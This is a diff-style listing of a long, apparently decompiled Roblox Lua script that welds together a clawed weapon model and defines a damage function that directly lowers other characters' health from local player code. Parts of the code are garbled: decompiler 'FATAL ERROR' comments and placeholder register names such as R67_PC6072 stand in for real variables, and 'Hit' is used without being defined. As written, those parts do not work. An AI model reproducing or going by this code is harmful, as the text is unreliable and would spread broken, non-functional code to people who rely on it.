873 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
874 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
875 | ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024)) | |
876 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
877 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
878 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
879 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
880 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
881 | MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
882 | MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074)) | |
883 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
884 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639)) | |
885 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
886 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
887 | ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804)) | |
888 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
889 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
890 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
891 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
892 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881)) | |
893 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
894 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
895 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
896 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
897 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
898 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
899 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
900 | ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024)) | |
901 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981)) | |
902 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
903 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
904 | CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
905 | PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
906 | MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
907 | MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083)) | |
908 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
909 | ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
910 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
911 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
912 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489)) | |
913 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
914 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
915 | ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176)) | |
916 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
917 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
918 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
919 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
920 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
921 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
922 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932)) | |
923 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
924 | PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932)) | |
925 | MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
926 | MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023)) | |
927 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
928 | ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888)) | |
929 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005)) | |
930 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
931 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608)) | |
932 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
933 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
934 | ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176)) | |
935 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
936 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003)) | |
937 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813)) | |
938 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003)) | |
939 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
940 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003)) | |
941 | PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813)) | |
942 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015)) | |
943 | - | local mouse = Player:GetMouse() |
943 | + | |
944 | MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
945 | MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0)) | |
946 | local CBlade = {} | |
947 | local CBladeWelds = {} | |
948 | for _,c in pairs(m:children()) do | |
949 | if c.className == "Part" then | |
950 | table.insert(CBlade, R67_PC6072) | |
951 | end | |
952 | end | |
953 | for _,c in pairs(m:children()) do | |
954 | if c.className == "Weld" then | |
955 | table.insert(CBladeWelds, R67_PC6072) | |
956 | print(R66_PC6093) | |
957 | end | |
958 | end | |
959 | -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg' | |
960 | ||
961 | -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg' | |
962 | ||
963 | --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5)) | |
964 | -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg' | |
965 | ||
966 | -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg' | |
967 | ||
968 | HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0)) | |
969 | CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3)) | |
970 | FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013)) | |
971 | FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
972 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
973 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
974 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5)) | |
975 | Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019)) | |
976 | PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1)) | |
977 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1)) | |
978 | TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3)) | |
979 | TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
980 | CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5)) | |
981 | local DBlade = {} | |
982 | local DBladeWelds = {} | |
983 | for _,c in pairs(demon:children()) do | |
984 | if c.className == "Part" then | |
985 | table.insert(DBlade, c) | |
986 | end | |
987 | end | |
988 | for _,c in pairs(demon:children()) do | |
989 | if c.className == "Weld" then | |
990 | table.insert(DBladeWelds, c) | |
991 | print(c) | |
992 | end | |
993 | end | |
994 | demon.Parent = nil | |
995 | ||
996 | paly = game.Players.LocalPlayer | |
997 | char = paly.Character | |
998 | torso = char.Torso | |
999 | neck = char.Torso.Neck | |
1000 | hum = char.Humanoid | |
1001 | Player = game:GetService("Players").LocalPlayer | |
1002 | Character = Player.Character | |
1003 | tors = Character.Torso | |
1004 | lleg = Character["Left Leg"] | |
1005 | root = Character.HumanoidRootPart | |
1006 | hed = Character.Head | |
1007 | rleg = Character["Right Leg"] | |
1008 | rarm = Character["Right Arm"] | |
1009 | larm = Character["Left Arm"] | |
1010 | local Effects = {} | |
1011 | attack = false | |
1012 | vt = Vector3.new | |
1013 | bc = BrickColor.new | |
1014 | br = BrickColor.random | |
1015 | it = Instance.new | |
1016 | cf = CFrame.new | |
1017 | euler = CFrame.fromEulerAnglesXYZ | |
1018 | angles = CFrame.Angles | |
1019 | matr = math.random | |
1020 | local basiccooldown = math.huge | |
1021 | local ultcooldown = math.huge | |
1022 | local secondcooldown = math.huge | |
1023 | local thirdcooldown = math.huge | |
1024 | ||
1025 | local boll = Instance.new("Part",game.Lighting) | |
1026 | boll.Transparency = 0.5 | |
1027 | boll.Material = "Neon" | |
1028 | boll.BrickColor = tors.BrickColor | |
1029 | boll.Anchored = true | |
1030 | boll.Size = vt(1,1,1) | |
1031 | boll.Shape = "Ball" | |
1032 | boll.CanCollide = false | |
1033 | ||
1034 | local shur = Instance.new("Part",game.Lighting) | |
1035 | shur.Transparency = 0 | |
1036 | shur.Material = "Neon" | |
1037 | shur.BrickColor = tors.BrickColor | |
1038 | shur.Anchored = true | |
1039 | shur.Size = vt(5,0.2,5) | |
1040 | shur.CanCollide = false | |
1041 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1042 | ||
1043 | ||
1044 | local boll = Instance.new("Part",game.Lighting) | |
1045 | boll.Transparency = 0.5 | |
1046 | boll.Material = "Neon" | |
1047 | boll.BrickColor = bc("Bright red") | |
1048 | boll.Anchored = true | |
1049 | boll.Size = vt(1,1,1) | |
1050 | boll.Shape = "Ball" | |
1051 | boll.CanCollide = false | |
1052 | ||
1053 | local shur = Instance.new("Part",game.Lighting) | |
1054 | shur.Transparency = 0 | |
1055 | shur.Material = "Neon" | |
1056 | shur.BrickColor = bc("Bright red") | |
1057 | shur.Anchored = true | |
1058 | shur.Size = vt(5,0.2,5) | |
1059 | shur.CanCollide = false | |
1060 | local Meshshur = Instance.new("CylinderMesh",shur) | |
1061 | ||
1062 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
1063 | if hit.Parent==nil then | |
1064 | return | |
1065 | end | |
1066 | h=hit.Parent:FindFirstChild("Humanoid") | |
1067 | for _,v in pairs(hit.Parent:children()) do | |
1068 | if v:IsA("Humanoid") then | |
1069 | h=v | |
1070 | end | |
1071 | end | |
1072 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
1073 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
1074 | end | |
1075 | if hit.Parent.className=="Hat" then | |
1076 | hit=hit.Parent.Parent:findFirstChild("Head") | |
1077 | end | |
1078 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
1079 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
1080 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
1081 | return | |
1082 | end]] | |
1083 | -- hs(hit,1.2) | |
1084 | c=Instance.new("ObjectValue") | |
1085 | c.Name="creator" | |
1086 | c.Value=game:service("Players").LocalPlayer | |
1087 | c.Parent=h | |
1088 | game:GetService("Debris"):AddItem(c,.5) | |
1089 | Damage=math.random(minim,maxim) | |
1090 | -- h:TakeDamage(Damage) | |
1091 | blocked=false | |
1092 | block=hit.Parent:findFirstChild("Block") | |
1093 | if block~=nil then | |
1094 | print(block.className) | |
1095 | if block.className=="NumberValue" then | |
1096 | if block.Value>0 then | |
1097 | blocked=true | |
1098 | if decreaseblock==nil then | |
1099 | block.Value=block.Value-1 | |
1100 | end | |
1101 | end | |
1102 | end | |
1103 | if block.className=="IntValue" then | |
1104 | if block.Value>0 then | |
1105 | blocked=true | |
1106 | if decreaseblock~=nil then | |
1107 | block.Value=block.Value-1 | |
1108 | end | |
1109 | end | |
1110 | end | |
1111 | end | |
1112 | if blocked==false then | |
1113 | -- h:TakeDamage(Damage) | |
1114 | h.Health=h.Health-Damage | |
1115 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
1116 | else | |
1117 | h.Health=h.Health-(Damage/2) | |
1118 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue")) | |
1119 | end | |
1120 | if Type=="Knockdown" then | |
1121 | hum=hit.Parent.Humanoid | |
1122 | hum.PlatformStand=true | |
1123 | coroutine.resume(coroutine.create(function(HHumanoid) | |
1124 | swait(1) | |
1125 | HHumanoid.PlatformStand=false | |
1126 | end),hum) | |
1127 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
1128 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
1129 | local bodvol=Instance.new("BodyVelocity") | |
1130 | bodvol.velocity=angle*knockback | |
1131 | bodvol.P=5000 | |
1132 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
1133 | bodvol.Parent=hit | |
1134 | rl=Instance.new("BodyAngularVelocity") | |
1135 | rl.P=3000 | |
1136 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1137 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
1138 | rl.Parent=hit | |
1139 | game:GetService("Debris"):AddItem(bodvol,.5) | |
1140 | game:GetService("Debris"):AddItem(rl,.5) | |
1141 | elseif Type=="Normal" then | |
1142 | vp=Instance.new("BodyVelocity") | |
1143 | vp.P=500 | |
1144 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
1145 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
1146 | if KnockbackType==1 then | |
1147 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
1148 | elseif KnockbackType==2 then | |
1149 | vp.velocity=Property.CFrame.lookVector*knockback | |
1150 | end | |
1151 | if knockback>0 then | |
1152 | vp.Parent=hit.Parent.Torso | |
1153 | end | |
1154 | game:GetService("Debris"):AddItem(vp,.5) | |
1155 | elseif Type=="Up" then | |
1156 | local bodyVelocity=Instance.new("BodyVelocity") | |
1157 | bodyVelocity.velocity=vt(0,10,0) | |
1158 | bodyVelocity.P=1000 | |
1159 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
1160 | bodyVelocity.Parent=hit | |
1161 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
1162 | rl=Instance.new("BodyAngularVelocity") | |
1163 | rl.P=3000 | |
1164 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
1165 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
1166 | rl.Parent=hit | |
1167 | game:GetService("Debris"):AddItem(rl,.5) | |
1168 | elseif Type=="Snare" then | |
1169 | bp=Instance.new("BodyPosition") | |
1170 | bp.P=2000 | |
1171 | bp.D=100 | |
1172 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1173 | bp.position=hit.Parent.Torso.Position | |
1174 | bp.Parent=hit.Parent.Torso | |
1175 | game:GetService("Debris"):AddItem(bp,1) | |
1176 | elseif Type=="Target" then | |
1177 | if Targetting==false then | |
1178 | ZTarget=hit.Parent.Torso | |
1179 | coroutine.resume(coroutine.create(function(Part) | |
1180 | swait(5) | |
1181 | end),ZTarget) | |
1182 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
